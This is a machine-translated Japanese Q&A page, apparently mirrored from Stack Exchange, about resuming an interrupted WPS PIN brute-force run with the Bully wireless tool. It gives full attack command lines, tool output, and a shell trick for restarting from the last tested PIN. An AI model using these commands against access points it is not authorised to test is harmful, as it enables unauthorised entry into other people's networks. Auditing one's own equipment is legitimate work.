web-dev-qa-db-ja.com

WPSワイヤレス監査のいじめ:中断された--bruteforce PINテストを続行することは可能ですか?

Bully は、ワイヤレス監査のための優れたプログラムです。ルーターまたはアクセスポイントに対してWPSPINをテストできるので、十分に安全かどうかを知ることができます。例:

$ Sudo bully mon0 --bssid 11:22:33:44:55:66 -v 3 --bruteforce --pin 63370000
[!] Bully v1.0-22 - WPS vulnerability assessment utility
[+] Switching interface 'mon0' to channel '6'
[!] Using 'AA:BB:CC:DD:EE:FF' for the source MAC address
[+] Datalink type set to '127', radiotap headers present
[+] Scanning for beacon from '11:22:33:44:55:66' on channel '6'
[+] Got beacon for 'NoamChomsky' (11:22:33:44:55:66)
[+] Loading randomized pins from '/root/.bully/pins'
[+] Index of starting pin number is '6337228'
[+] Last State = 'NoAssoc'   Next pin '85389380'
[+] Rx(  M5  ) = 'Pin1Bad'   Next pin '75329389'
[+] Rx(  M5  ) = 'Pin1Bad'   Next pin '99129385'
...
^C
Saved session to '/root/.bully/112233445566.run'

ご覧のとおり(「ランダム化されたピン」への参照に注意してください)、PINはWPS仕様に従って計算してチェックされます(したがって、論理的な順序はないようです)。
テストを実行したい場合続行テストはまったく問題ありません。同じコマンドラインで自動的に次の結果が得られます。

$ Sudo bully mon0 --bssid 11:22:33:44:55:66 -v 3
[!] Restoring session from '/root/.bully/112233445566.run'
...
^C

しかし、興味深い部分は、8桁のPIN(チェックサムなど)のWPS仕様を維持しないことですが、すべてをテストする(ブルートフォースモードとも呼ばれます)。
PIN 63370000:から始まる例(「シーケンシャルモード」への参照に注意)

$ Sudo bully mon0 --bssid 11:22:33:44:55:66 -v 3 --bruteforce --pin 63370000
[!] Bully v1.0-22 - WPS vulnerability assessment utility
[+] Switching interface 'mon0' to channel '6'
[!] Starting pin specified, defaulting to sequential mode
[!] Using 'AA:BB:CC:DD:EE:FF' for the source MAC address
[+] Datalink type set to '127', radiotap headers present
[+] Scanning for beacon from '11:22:33:44:55:66' on channel '6'
[+] Got beacon for 'NoamChomsky' (11:22:33:44:55:66)
[+] Index of starting pin number is '63370000'
[+] Last State = 'NoAssoc'   Next pin '63370000'
[+] Rx(  M7  ) = 'Pin2Bad'   Next pin '63370001'
[+] Rx(  M7  ) = 'Pin2Bad'   Next pin '63370002'
^C
Saved session to '/root/.bully/8c0ca32a2751.run'

そして、ここで問題が発生します。テストが中止された場合(または切断された場合、またはコンピューターがハングした場合など)、後で続行したい場合です。

$ Sudo bully mon0 --bssid 11:22:33:44:55:66 -v 3 --bruteforce --pin 63370000
[!] Bully v1.0-22 - WPS vulnerability assessment utility
[+] Switching interface 'mon0' to channel '6'
[!] Starting pin specified, defaulting to sequential mode
[!] Using 'AA:BB:CC:DD:EE:FF' for the source MAC address
[+] Datalink type set to '127', radiotap headers present
[+] Scanning for beacon from '11:22:33:44:55:66' on channel '6'
[+] Got beacon for 'NoamChomsky' (11:22:33:44:55:66)
[!] Restoring session from '/root/.bully/8c0ca32a2751.run'
[+] Index of starting pin number is '63370000'
[+] Last State = 'NoAssoc'   Next pin '63370000'
[+] Rx(  M7  ) = 'Pin2Bad'   Next pin '63370001'
[+] Rx(  M7  ) = 'Pin2Bad'   Next pin '63370002'

(シーケンスが63370000から再開することに注意してください)Restoring session from正常に動作しないのようです。

奇妙な部分は、数値の全範囲をテストすることは簡単に数時間または数日続く可能性があるため、タスクの復元はここで重要な問題です。プログラムが前回停止した時点からWPSPINテストを続行するにはどうすればよいですか?

最後のPINを見つけますストレージ進行状況ファイルからテストされます(「:」までの最後の行の最初の番号):

$ tail /root/.bully/112233445566.run
# session ended 2014-04-27 03:08:48 with signal 2
63370002:63370002:1::

cutを使用して、直接抽出できます。

$ tail /root/.bully/112233445566.run -n 1 | cut -d ":" -f 1
63370002

そして続きそこから:

$ Sudo bully mon0 --bssid 11:22:33:44:55:66 -v 3 --bruteforce --pin 63370002
[!] Bully v1.0-22 - WPS vulnerability assessment utility
[+] Switching interface 'mon0' to channel '6'
[!] Starting pin specified, defaulting to sequential mode
[!] Using 'AA:BB:CC:DD:EE:FF' for the source MAC address
[+] Datalink type set to '127', radiotap headers present
[+] Scanning for beacon from '11:22:33:44:55:66' on channel '6'
[+] Got beacon for 'NoamChomsky' (11:22:33:44:55:66)
[!] Restoring session from '/root/.bully/8c0ca32a2751.run'
[+] Index of starting pin number is '63370002'
[+] Last State = 'NoAssoc'   Next pin '63370002'
[+] Rx(  M7  ) = 'Pin2Bad'   Next pin '63370003'
[+] Rx(  M7  ) = 'Pin2Bad'   Next pin '63370004'

ここでは「セッションの復元」というメッセージは意味がないと思いますが、とにかく問題を解決できます。